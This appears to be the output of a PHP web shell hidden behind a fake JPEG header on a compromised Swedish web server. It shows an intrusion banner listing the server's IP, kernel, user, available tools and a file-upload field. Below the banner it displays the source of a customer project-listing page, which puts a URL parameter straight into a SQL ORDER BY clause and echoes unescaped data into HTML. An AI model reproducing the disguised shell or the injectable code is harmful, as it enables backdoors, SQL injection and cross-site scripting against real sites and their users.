????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/images/ |
Upload File : |
<?php
?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="90"> </td>
<td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="5" valign="top"><span class="heading2">Dina uppgifter: </span><br>
<table width="651" border="0" cellpadding="0" cellspacing="0">
<tr class="text">
<td width="71">Namn:</td>
<td width="207"><?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?> (<?php echo($_SESSION['ASTACUS_SSO_INFO'][10]);?>) </td>
<td width="103">Adress:</td>
<td width="270"><?php echo($_SESSION['ASTACUS_SSO_INFO'][7]);?></td>
</tr>
<tr class="text">
<td>E-post:</td>
<td><?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?></td>
<td>Postnummer:</td>
<td><?php echo($_SESSION['ASTACUS_SSO_INFO'][8]);?></td>
</tr>
<tr class="text">
<td>Telefon:</td>
<td><?php echo($_SESSION['ASTACUS_SSO_INFO'][6]);?></td>
<td>Stad:</td>
<td><?php echo($_SESSION['ASTACUS_SSO_INFO'][9]);?></td>
</tr>
<tr class="text">
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>
<hr width="820" size="1">
<span class="heading2"><br>
Dina projekt: </span><br>
<table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="85" class="style6"><strong><a href="?order=ProjectId" class="blacklink">ProjektID</a></strong></td>
<td width="234" class="style6"><strong><a href="?order=Name" class="blacklink">Namn</a></strong></td>
<td width="70" class="style6"><strong><a href="?order=ProjectStatusId" class="blacklink">Status</a></strong></td>
<td width="100" class="style6"><strong><a href="?order=RequestedDeliveryDate" class="blacklink">Prel. lev datum</a></strong></td>
<td width="105" class="style6"><div align="center"><strong><a href="?order=TimeEstimationFromIndia" class="blacklink">Tid</a></strong></div></td>
<td width="256"><span class="style6"><strong><a href="?order=clientProjectManagerName" class="blacklink">Skapat av </a></strong></span></td>
</tr>
</table>
<span class="style6">
<?php
$orderby = $_GET['order'];
if($orderby == ""){
$orderby = "ProjectId";
}
if($orderby == "ProjectStatusId"){
$orderby = "ProjectStatus.ProjectStatusId";
}
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
$sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and CompanyId = $CompanyId and not ProjectStatus.ProjectStatusID = 11 and not ProjectStatus.ProjectStatusID = 10 order by $orderby desc";
$result = mysql_query($sql);
$color = "#FFFFFF";
while ($row = mysql_fetch_assoc($result)){
$ProjectStatusId = $row['ProjectStatusId'];
if($ProjectStatusId == 1 || $ProjectStatusId == 2 || $ProjectStatusId == 3 ){
$status = "process1.jpg";
}else if($ProjectStatusId == 4){
$status = "process2.jpg";
}else if($ProjectStatusId == 5){
$status = "process3.jpg";
}else if($ProjectStatusId == 6){
$status = "process6.jpg";
}else if($ProjectStatusId == 7){
$status = "process7.jpg";
}else if($ProjectStatusId == 8 || $ProjectStatusId == 9 || $ProjectStatusId == 10){
$status = "process8.jpg";
}else if($ProjectStatusId == 11){
$status = "process10.jpg";
} else if($ProjectStatusId == 12){
$status = "process9.jpg";
}
$price = $row['TimeEstimationFromIndia'];
/* if($price != 0){
$price = round($price * 140,0);
$price = $price . " kr";
}else {
$price = "";
}*/
if($color == "#000000"){
$color = "#FFFFFF";
}else{
$color = "#000000";
}
?>
</span>
<form name="form2" method="post" action="pickup.php?projectID=<?php echo($row['ProjectId']);?>">
<table width="820" border="0" cellspacing="0" cellpadding="0">
<tr align="left">
<td width="85" bgcolor="<?php echo($color);?>"><a href="project.php?status=<?php echo($row['ProjectStatusId']);?>&projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>" class="blacklink"><?php echo($row['ProjectId']);?></a></td>
<td width="235" bgcolor="<?php echo($color);?>"><a href="project.php?status=<?php echo($row['ProjectStatusId']);?>&projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>" class="blacklink"><?php echo($row['Name']);?></a></td>
<td width="70" bgcolor="<?php echo($color);?>"><img src="../images/<?php echo($status);?>" title="<?php echo($row['ProjectStatusDisplayValue']);?>" alt="<?php echo($row['ProjectStatusDisplayValue']);?>" width="53" height="15"> </td>
<td width="100" bgcolor="<?php echo($color);?>"><div align="center"><a href="project.php?status=<?php echo($row['ProjectStatusId']);?>&projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>" class="blacklink"><?php echo(substr($row['RequestedDeliveryDate'],0,10));?></a></div></td>
<td width="105" bgcolor="<?php echo($color);?>"><div align="center"><a href="project.php?status=<?php echo($row['ProjectStatusId']);?>&projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>" class="blacklink"><?php echo($price);?></a></div></td>
<td width="148" bgcolor="<?php echo($color);?>"><a href="project.php?status=<?php echo($row['ProjectStatusId']);?>&projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>" class="blacklink"><?php echo($row['clientProjectManagerName']);?></a></td>
<td width="107" bgcolor="<?php echo($color);?>">
<?php
$status = "disabled";
if($row['ProjectStatusId'] == 8 || $row['ProjectStatusId'] == 9 || $row['ProjectStatusId'] == 10){
$status = "";
}
?>
<div align="right"><span class="style6">
<input type="submit" name="Submit" value="Hämta filer" <?php echo($status);?> class="blacklink">
<input name="Filename" type="hidden" id="Filename" value="<?php echo($row['ProjectId']."_".urlencode($row['Name'])); ?>">
</span> </div></td>
</tr>
</table>
</form>
<span class="style6">
<?php } ?>
<br>
</span></td>
</tr>
</table>
</td>
<td width="90"> </td>
</tr>
<tr>
<td colspan="3"> </td>
</tr>
</table>